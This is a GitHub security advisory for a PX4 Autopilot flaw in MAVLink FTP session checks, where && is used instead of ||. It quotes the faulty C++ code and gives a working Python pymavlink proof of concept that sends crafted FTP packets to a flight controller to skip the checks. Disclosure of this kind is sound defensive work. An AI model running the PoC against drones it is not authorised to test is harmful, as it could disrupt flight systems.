Skip to content

PX4 Autopilot MAVLink FTP Session Validation Logic Error Allows Operations on Invalid File Descriptors

Moderate
mrpollo published GHSA-pp2c-jr5g-6f2m Mar 13, 2026

Package

PX4/PX4-Autopilot (Other)

Affected versions

<= 1.17.0-rc1

Patched versions

1.17.0-rc2

Description

Summary

A logic error in the PX4 Autopilot MAVLink FTP session validation uses incorrect boolean logic (&& instead of ||), allowing BurstReadFile and WriteFile operations to proceed with invalid sessions or closed file descriptors. This enables an unauthenticated attacker to put the FTP subsystem into an inconsistent state, trigger operations on invalid file descriptors, and bypass session isolation checks. CVSS 6.5 Medium.

Details

The vulnerability is a straightforward logic error in src/modules/mavlink/mavlink_ftp.cpp where two functions use && (logical AND) instead of || (logical OR) for session validation, diverging from the correct implementation used in a third function.

1. Correct implementation in _workRead (mavlink_ftp.cpp:559)

The _workRead function correctly rejects requests when either the session ID is wrong or the file descriptor is invalid:

// mavlink_ftp.cpp:559 -- CORRECT: uses || (logical OR)
MavlinkFTP::ErrorCode
MavlinkFTP::_workRead(PayloadHeader *payload)
{
    if (payload->session != 0 || _session_info.fd < 0) {
        return kErrInvalidSession;
    }
    // ... proceeds with read
}

Truth table for ||:

session != 0 fd < 0 Result Correct?
false false PASS (valid session, valid fd) Yes
false true REJECT (valid session, no fd) Yes
true false REJECT (wrong session, valid fd) Yes
true true REJECT (wrong session, no fd) Yes

2. Buggy implementation in _workBurst (mavlink_ftp.cpp:597)

// mavlink_ftp.cpp:597 -- BUG: uses && (logical AND)
MavlinkFTP::ErrorCode
MavlinkFTP::_workBurst(PayloadHeader *payload, uint8_t target_system_id, uint8_t target_component_id)
{
    if (payload->session != 0 && _session_info.fd < 0) {
        return kErrInvalidSession;
    }
    // Setup for streaming sends
    _session_info.stream_download = true;
    _session_info.stream_offset = payload->offset;
    // ...
}

3. Buggy implementation in _workWrite (mavlink_ftp.cpp:618)

// mavlink_ftp.cpp:618 -- BUG: uses && (logical AND)
MavlinkFTP::ErrorCode
MavlinkFTP::_workWrite(PayloadHeader *payload)
{
    if (payload->session != 0 && _session_info.fd < 0) {
        return kErrInvalidSession;
    }
    // ...
    if (lseek(_session_info.fd, payload->offset, SEEK_SET) < 0) {
        // ...
    }
    int bytes_written = ::write(_session_info.fd, &payload->data[0], payload->size);
    // ...
}

Truth table for &&:

session != 0 fd < 0 Result Correct?
false false PASS (valid session, valid fd) Yes
false true PASS (valid session, no fd) NO -- should reject
true false PASS (wrong session, valid fd) NO -- should reject
true true REJECT (wrong session, no fd) Yes

Exploitable scenarios:

Scenario A: Operations on closed file descriptor (session=0, fd=-1)

  • Default state: session=0, _session_info.fd=-1 (no file open)
  • Attacker sends kCmdBurstReadFile with session=0
  • Check: 0 != 0 && -1 < 0false && truefalsecheck bypassed
  • Code sets _session_info.stream_download = true with fd=-1
  • send() later attempts lseek and read on fd=-1
  • FTP enters an inconsistent streaming state

Scenario B: Session ID isolation bypass (session!=0, fd>=0)

  • A file has been opened (fd is valid, assigned to session 0)
  • Attacker sends kCmdBurstReadFile or kCmdWriteFile with session=5
  • Check: 5 != 0 && fd >= 0true && falsefalsecheck bypassed
  • Operation proceeds on the file from session 0 despite wrong session ID
  • Session IDs provide no isolation

PoC

Prerequisites:

  • MAVLink communication channel to a PX4 flight controller
  • Python with pymavlink

Reproducing Scenario A (burst read on invalid fd):

from pymavlink import mavutil
import struct, time

mav = mavutil.mavlink_connection('udp:127.0.0.1:14540')
mav.wait_heartbeat()

TARGET_SYS = mav.target_system
TARGET_COMP = mav.target_component

def make_ftp_payload(seq, session, opcode, size, offset, data=b''):
    """Build FTP PayloadHeader + data."""
    header = struct.pack('<HBBBBBxI', seq, session, opcode, size, 0, 0, offset)
    return header + data

# Do NOT open any file first -- fd should be -1

# Send kCmdBurstReadFile (opcode=15) with session=0
# With the bug, this bypasses the session check because:
#   session(0) != 0 --> false
#   fd(-1) < 0 --> true
#   false && true --> false --> check skipped!
payload = make_ftp_payload(seq=1, session=0, opcode=15, size=0, offset=0)
ftp_msg = bytearray(251)
ftp_msg[:len(payload)] = payload

mav.mav.file_transfer_protocol_send(0, TARGET_SYS, TARGET_COMP, ftp_msg)
time.sleep(1)

# The FTP subsystem is now in stream_download mode with fd=-1
# Subsequent send() calls will attempt lseek/read on fd=-1 and generate errors
# This can be confirmed by monitoring PX4 debug output for "seek fail" or EBADF errors

# Receive response
msg = mav.recv_match(type='FILE_TRANSFER_PROTOCOL', blocking=True, timeout=5)
if msg:
    resp = bytes(msg.payload)
    opcode = resp[3]
    if opcode == 128:  # kRspAck
        print("[!] BUG CONFIRMED: Burst accepted without open file (fd=-1)")
    elif opcode == 129:  # kRspNak
        error = resp[12]
        print(f"[*] NAK received, error code: {error}")
        # If error 4 (kErrInvalidSession), the bug is NOT present (patched)
        # If error 2 (kErrFailErrno), the bug IS present (EBADF from lseek on fd=-1)

Reproducing Scenario B (session ID bypass):

# Step 1: Open a file normally (session=0)
path = b'/fs/microsd/log\x00'  # or any valid path
payload = make_ftp_payload(seq=0, session=0, opcode=4, size=len(path), offset=0, data=path)
ftp_msg = bytearray(251)
ftp_msg[:len(payload)] = payload
mav.mav.file_transfer_protocol_send(0, TARGET_SYS, TARGET_COMP, ftp_msg)
time.sleep(0.5)

# Step 2: Send burst read with WRONG session ID (session=5)
# With the bug: session(5) != 0 --> true, fd(N) < 0 --> false
#   true && false --> false --> check bypassed!
# Operation proceeds on session 0's file despite requesting session 5
payload = make_ftp_payload(seq=1, session=5, opcode=15, size=0, offset=0)
ftp_msg = bytearray(251)
ftp_msg[:len(payload)] = payload
mav.mav.file_transfer_protocol_send(0, TARGET_SYS, TARGET_COMP, ftp_msg)
time.sleep(1)

msg = mav.recv_match(type='FILE_TRANSFER_PROTOCOL', blocking=True, timeout=5)
if msg:
    resp = bytes(msg.payload)
    opcode = resp[3]
    if opcode == 128:  # kRspAck
        print("[!] BUG CONFIRMED: Wrong session ID accepted, reading from session 0's file")

Impact

This is a logic error vulnerability that breaks the session validation in the MAVLink FTP protocol implementation.

Who is impacted:

  • All PX4 deployments using MAVLink FTP (file transfer, parameter upload, log download)
  • Ground control stations that rely on session semantics for concurrent FTP operations

What an attacker can do:

  • Trigger FTP operations on invalid file descriptors, causing the subsystem to enter inconsistent state
  • Bypass session ID isolation, accessing files opened in other sessions
  • Put the FTP subsystem into stream download mode with no valid file, potentially blocking other FTP operations
  • Trigger error code paths (EBADF from lseek/read/write on fd=-1) that may have unintended side effects

Limitations:

  • Operations on fd=-1 will fail at the syscall level (EBADF), limiting data exfiltration
  • PX4 currently only supports one session (session 0), so session isolation bypass has limited practical impact
  • The primary risk is denial of service to the FTP subsystem and triggering of unexpected error paths

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Adjacent
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

CVE ID

CVE-2026-32713

Weaknesses

Always-Incorrect Control Flow Implementation

The code contains a control flow path that does not reflect the algorithm that the path is intended to implement, leading to incorrect behavior any time this path is navigated. Learn more on MITRE.

Credits